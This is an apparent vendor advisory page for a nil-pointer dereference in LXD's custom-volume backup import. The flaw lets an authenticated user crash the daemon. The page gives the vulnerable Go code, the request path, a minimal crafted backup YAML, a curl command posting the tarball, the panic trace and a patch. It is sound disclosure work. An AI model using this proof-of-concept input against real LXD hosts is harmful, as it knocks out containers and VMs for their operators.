NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
🐹
🐹 Go
Not in CISA KEV
MEDIUM severity

LXD has CreateCustomVolumeFromBackup nil-pointer dereference on volumes[0].snapshots[*].expires_atGHSA-j93m-3j9p-m5m8

MEDIUMFix: canonical/lxd#18320

GHSA-j93m-3j9p-m5m8 is a medium-severity (CVSS 6.5) NULL Pointer Dereference vulnerability in github.com/canonical/lxd. A fix is available for github.com/canonical/lxd — see the affected versions and patch details below.

Also known asCVE-2026-9639
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Nov 6, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for GHSA-j93m-3j9p-m5m8.

EPSS Exploitation Probability

via FIRST.org ↗
0.5%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs46th percentile — riskier than 46% of all scored CVEsHighest risk
0.00%0.35%0.70%1.05%0.4%0.5%Jul 26Oct 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

1 pkg affected
🐹github.com/canonical/lxd

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

(sibling-field variant of CVE-2026-40197 fix 05bc272)

(*lxdBackend).CreateCustomVolumeFromBackup in lxd/storage/backend_lxd.go contains an unguarded *time.Time dereference on the ExpiresAt field of every volume-snapshot entry in an imported custom-volume backup. An authenticated user with EntitlementCanCreateStorageVolumes permission on any project can crash the lxd daemon by uploading a backup tarball whose volumes[0].snapshots[*].expires_at field is omitted.

This is a sibling-field variant of the CVE-2026-40197 fix (commit 05bc272, "Validate snapshots from backup.yaml are non-nil", cherry-picked from incus commit 985a1dedf / GHSA-r7w7-mmxr-47r9). That fix added if snap == nil guards at several consumer sites, but did not guard the adjacent *snapshot.ExpiresAt deref at line 8216. Every other consumer of this field in the same file already gates the deref with if … != nil (e.g. lines 1010-1011, 1274-1275, 1856-1857, 2454-2455, 5070-5071, 5527-5528). Asymmetric guard is the bug.

Vulnerable code

lxd/storage/backend_lxd.go, CreateCustomVolumeFromBackup:

// Line 8141-8150 — earliest snapshot validation pass (caches s == nil)
for i, snap := range customVol.Snapshots {
    if snap == nil {
        return fmt.Errorf("Nil custom volume snapshot definition found at index %d", i)
    }
    err = drivers.ValidVolumeName(snap.Name)
    ...
}

// Line 8196-8216 — the snapshot DB-create loop
for i, s := range customVol.Snapshots {
    if s == nil {
        return fmt.Errorf("Nil custom volume snapshot definition found at index %d", i)
    }
    snapshot := s
    ...
    // Line 8216 — UNGUARDED *time.Time deref:
    err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description,
        snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt,
        *snapshot.ExpiresAt,           // <-- panics when expires_at omitted in YAML
        snapVol.ContentType(), true, true)

ExpiresAt is declared *time.Time (shared/api/storage_pool_volume_snapshot.go). Every other consumer in the same file already uses the safe pattern (if … != nil { … = *… }):

LineCodeGuarded?
1010-1011rootVol.Snapshots[i].ExpiresAtYES
1274-1275rootVol.Snapshots[i].ExpiresAtYES
1558-1559srcSnap.ExpiresAtYES
1856-1857rootVol.Snapshots[i].ExpiresAtYES
2454-2455rootVol.Snapshots[i].ExpiresAtYES
5070-5071customVol.Snapshots[i].ExpiresAtYES
5527-5528srcSnap.ExpiresAtYES
8216CreateCustomVolumeFromBackup snapshot.ExpiresAtNO

Reach

  1. Attacker is an authenticated client (TLS cert, OIDC, or unix socket) with the EntitlementCanCreateStorageVolumes entitlement on any project. Same auth gate as CVE-2026-40197.
  2. POST /1.0/storage-pools/<pool>/volumes/custom with Content-Type: application/octet-stream and X-LXD-name: <name>.
  3. Body is a tar containing backup/index.yaml with type: custom, volumes[0] non-nil, and volumes[0].snapshots[0] non-nil but missing expires_at.
  4. lxd/storage_volumes.go:storagePoolVolumesPost -> backup.GetInfo parses the yaml -> pool.CreateCustomVolumeFromBackup -> the validations at 8141-8150 + 8197 pass (snapshot pointer is non-nil, name is valid) -> *snapshot.ExpiresAt on line 8216 panics on the nil *time.Time.
  5. The Go runtime kills the entire lxd daemon process. Repeated POSTs are a persistent denial of service.

Minimal backup/index.yaml:

name: poc-vol
backend: dir
pool: default
type: custom
optimized: false
optimized_header: false
snapshots: [snap0]
config:
  version: 2
  pools:
    - {name: default, driver: dir, config: {}}
  volumes:
    - name: poc-vol
      type: custom
      pool: default
      content_type: filesystem
      config: {}
      snapshots:
        - name: snap0
          description: snap0
          config: {}
          # expires_at intentionally omitted

Proof of concept (end-to-end against running daemon)

Bundled in the report: make_backup.sh + the resulting 516-byte poc-vol-lxd.tar.gz.

Tested against lxd 6.8 (HEAD of canonical/lxd at the time of testing, built from source with make deps && go build -tags libsqlite3 ./lxd). Daemon started with default dir storage pool.

$ curl -s --unix-socket /var/lib/lxd/unix.socket -X POST \
    --data-binary @/tmp/poc-vol-lxd.tar.gz \
    -H 'Content-Type: application/octet-stream' \
    -H 'X-LXD-name: poc-vol' \
    http://lxd/1.0/storage-pools/default/volumes/custom
{"type":"async","status":"Operation created","status_code":100,...}

$ ps -ef | grep lxd | grep -v grep    # daemon GONE

Daemon panic from /tmp/lxd.out:

panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x0 pc=0x11015e8]

goroutine 683 [running]:
github.com/canonical/lxd/lxd/storage.(*lxdBackend).CreateCustomVolumeFromBackup(...)
    github.com/canonical/lxd/lxd/storage/backend_lxd.go:8216 +0xf58
main.createStoragePoolVolumeFromBackup.func6(...)
    github.com/canonical/lxd/lxd/storage_volumes.go:2879 +0x2a0
github.com/canonical/lxd/lxd/operations.(*Operation).start.func1(...)
    github.com/canonical/lxd/lxd/operations/operations.go:588 +0x6c
created by github.com/canonical/lxd/lxd/operations.(*Operation).start in goroutine 655
    github.com/canonical/lxd/lxd/operations/operations.go:541 +0x2b8

Stack frame backend_lxd.go:8216 is the literal *snapshot.ExpiresAt line.

Impact

  • Severity: denial of service against the entire lxd daemon process. Every container / VM / storage operation on the host (and on the cluster member, if clustered) is aborted; subsequent requests fail until an operator restarts the process.
  • Privileges required: any authenticated user with can_create_storage_volumes on any project. Not behind the admin tier.
  • Network attack surface: the LXD REST API on :8443 or the unix socket.
  • CWE-476 — Nil-Pointer Dereference. CVSS estimate: 6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).
  • Versions: confirmed at lxd 6.8 (HEAD); the same code exists in the v5.21 LTS line as the parent fix 05bc272 was a cherry-pick from incus.

Suggested fix

Mirror the guard pattern already in use elsewhere in this file:

--- a/lxd/storage/backend_lxd.go
+++ b/lxd/storage/backend_lxd.go
@@ -8210,9 +8210,14 @@ func (b *lxdBackend) CreateCustomVolumeFromBackup(...) error {
         snapVolStorageName := project.StorageVolume(srcBackup.Project, fullSnapName)
         snapVol := b.GetNewVolume(drivers.VolumeTypeCustom, drivers.ContentType(customVol.ContentType), snapVolStorageName, snapshot.Config)

         // Validate config and create database entry for new storage volume.
         // Strip unsupported config keys (in case the export was made from a different type of storage pool).
-        err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description, snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt, *snapshot.ExpiresAt, snapVol.ContentType(), true, true)
+        var snapExpiryDate time.Time
+        if snapshot.ExpiresAt != nil {
+            snapExpiryDate = *snapshot.ExpiresAt
+        }
+
+        err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description, snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt, snapExpiryDate, snapVol.ContentType(), true, true)
         if err != nil {
             return err
         }

Related advisories

  • GHSA-r7w7-mmxr-47r9 (CVE-2026-40197) / commit 05bc272 (cherry-pick of incus 985a1dedf) — parent fix: added s == nil checks at multiple consumer sites, missed the *snapshot.ExpiresAt deref at line 8216.
  • lxc/incus GHSA-xhqx-mgh3-3h7q (sibling report filed by same reporter against the upstream-equivalent line internal/server/storage/backend.go:7731 in incus).

The shape is "incomplete fix on a sibling field of the same struct" — the maintainer walked nil-checks for the iteration-variable pointer but did not walk every adjacent pointer field that the loop body still dereferences.

Reporter notes

Reported via Privately-Reported Vulnerability against canonical/lxd by tonghuaroot.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/canonical/lxdall versions0.0.0-20260622081844-85f897013ccdgo get github.com/canonical/lxd@v0.0.0-20260622081844-85f897013ccd

Affected Products

1 product · 2 configurations
Application
lxdcanonical
≥ 6.0 && < 6.9
range

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/canonical/lxd, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update github.com/canonical/lxd to 0.0.0-20260622081844-85f897013ccd or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-j93m-3j9p-m5m8 is resolved across your whole dependency graph.

  3. Workarounds

    Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.

Frequently Asked Questions

## Summary (sibling-field variant of CVE-2026-40197 fix 05bc272) `(*lxdBackend).CreateCustomVolumeFromBackup` in [`lxd/storage/backend_lxd.go`](https://github.com/canonical/lxd/blob/05bc272/lxd/storage/backend_lxd.go) contains an unguarded `*time.Time` dereference on the `ExpiresAt` field of every volume-snapshot entry in an imported custom-volume backup. An authenticated user with `EntitlementCanCreateStorageVolumes` permission on any project can crash the `lxd` daemon by uploading a backup tarball whose `volumes[0].snapshots[*].expires_at` field is omitted. This is a sibling-field variant
O3 Security · Impact-Aware SCA

Is GHSA-j93m-3j9p-m5m8 in your dependencies?

Find it across Go, including transitive dependencies.

LXD has CreateCustomVolumeFromBackup nil-pointer…